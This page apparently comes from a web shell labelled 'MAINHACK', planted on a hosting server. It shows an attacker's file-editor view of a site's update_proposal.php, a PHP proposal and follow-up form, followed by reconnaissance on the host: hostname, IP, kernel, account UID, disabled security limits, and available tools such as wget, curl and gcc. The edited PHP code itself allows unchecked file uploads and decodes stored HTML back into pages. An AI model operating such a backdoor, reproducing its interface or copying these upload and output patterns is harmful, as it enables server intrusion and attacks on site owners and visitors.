[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: update_proposal.php
<?php include 'header.php';?> <style> .col-md-3,.col-md-2,.col-md-6{ display:inline-block !important; } </style> <script> $(document).ready(function(){ // Add more $('#type').change(function(){ var type = $('#type').val(); // alert(type); if(type=='Direct'){ $('#direct').show(); $('#agent').hide(); }else{ $('#direct').hide(); $('#agent').show(); } }); }); </script> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Update Proposal</div> </div> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <?php $count=1; $sr='project'; $stmt =$show->readwithdata($sr,'project_id',$_REQUEST['prjct_id']); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="card-body"> <div class="form-group form-show-validation row"> <div class="col-lg-3 col-md-12 col-sm-12" id="direct" style="display:"> <label>Project Type</label> <input type="text" value="<?=$row['project_type']?>" class="form-control" placeholder="Project Name" readonly> </div> <div class="col-lg-6 col-md-12 col-sm-12" id="agent" style=""> <label>Project Title </label> <input type="text" value="<?=$row['title']?>" class="form-control" placeholder="Project Name" readonly> </div> <div class="col-lg-2 col-md-12 col-sm-12" id="agent" style=""> <label>First Proposal </label> <input type="text" value="<?=$row['proposed_cost']?>" class="form-control" placeholder="Project Name" readonly> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-2 col-md-3 col-sm-4 mt-sm-2 ">Project Proposal <span class="required-label">*</span></label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="file" name="file" placeholder="Project Proposal" required> </div> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Proposed<br>Cost <span class="required-label">*</span></label> <div class="col-lg-2 col-md-12 col-sm-12"> <input type="text" name="proposed_cost" class="form-control" placeholder="Proposed Cost" required> </div> <label for="name" class="col-lg-1 col-md-3 col-sm-4 mt-sm-2 ">Date <span class="required-label">*</span></label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="date" name="date" class="form-control" placeholder="Proposed Cost" required> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-2 col-md-3 col-sm-4 mt-sm-2 ">Follow Up Date <span class="required-label">*</span></label> <div class="col-lg-3 col-md-12 col-sm-12"> <input type="date" name="follow_date" class="form-control" placeholder="Proposed Cost" required> </div> <label for="name" class="col-lg-2 col-md-3 col-sm-4 mt-sm-2 ">Follow Up Note <span class="required-label">*</span></label> <div class="col-lg-3 col-md-12 col-sm-12"> <select name="followup" class="form-control" placeholder="Proposed Cost" required> <option value="">Choose</option> <option value="Project Confirmation followup">Project Confirmation followup</option> <option value="Advance Payment Followup">Advance Payment Followup</option> <option value="Project Completion Followup">Project Completion Followup</option> <option value="Project Review Followup">Project Review Followup</option> <option value="Project Final Pay Followup">Advance Payment Followup</option> <option value="Other Followup">Other Followup</option> </select> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-2 col-md-3 col-sm-4 mt-sm-2 ">Description </label> <div class="col-lg-10 col-md-12 col-sm-12"> <textarea name="description" class="form-control" placeholder="Country"></textarea> </div> </div> <div class="card-action"> <div class="row"> <div class="col-md-12"> <input class="btn btn-success" type="submit" name="sub" value="Submit"> <a href="all_project.php" class="btn btn-info">Back</a> </div> </div> </div> </div> <?php } } ?> </form> <?php if(isset($_POST['sub'])){ if(file_exists($_FILES['file']['tmp_name']) || is_uploaded_file($_FILES['file']['tmp_name'])) { $img=$show->imageEdit($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'],"product_img/".$img); $data=array( 'proposal'=>$img, 'project_id'=>$_REQUEST['prjct_id'], 'proposed_cost' =>htmlspecialchars($_POST['proposed_cost']), 'content' =>htmlspecialchars($_POST['description']), 'date'=>date('Y-m-d',strtotime($_POST['date'])), 'follow_date'=>date('Y-m-d',strtotime($_POST['follow_date'])), 'followup'=>htmlspecialchars($_POST['followup']), ); $r1=$show->insert('project_proposal',$data); echo '<script> setTimeout(function() { swal({ title: "Thank You !", text: "Your Project has been submitted.", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; //echo "<script>swal('Thank you for Registration.');window.location.href='".$_SERVER['request_uri']."';</script>"; } } ?> </div> </div> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">All Proposals</div> </div> <div class="card-body"> <div class="table-responsive"> <table id="basic-datatables" class="display table table-striped table-hover"> <thead> <th>ID</th> <th>Date</th> <th>Follow Up date</th> <th>Follow Up Note</th> <th>Proposal</th> <th>Proposed Cost</th> <th>Description</th> </thead> <tbody> <?php $count=1; $sr='project_proposal'; $stmt =$show->readwithdata($sr,'project_id',$_REQUEST['prjct_id']); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; $followd=$row['follow_date']==''?'--':date('d-m-Y',strtotime($row['follow_date'])); $follow=$row['followup']==''?'--':$row['followup']; // echo $usr_p; echo "<tr> <td>$count</td> <td>".date('d-m-Y',strtotime($row['date']))."</td> <td>".$followd."</td> <td>".$follow."</td> <td><a href='".$pic_img."/".$row['proposal']."' class='btn btn-xs btn-success' target='_blank'>Download</a></td> <td>".$row['proposed_cost']."</td> <td><span style='color:red'>".htmlspecialchars_decode($row['content'])."</span></td> "; ?> <?php echo " </tr>"; ++$count; } } ?> </tbody> </table> </div> </div> </div> </div> </div> </div> </div> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619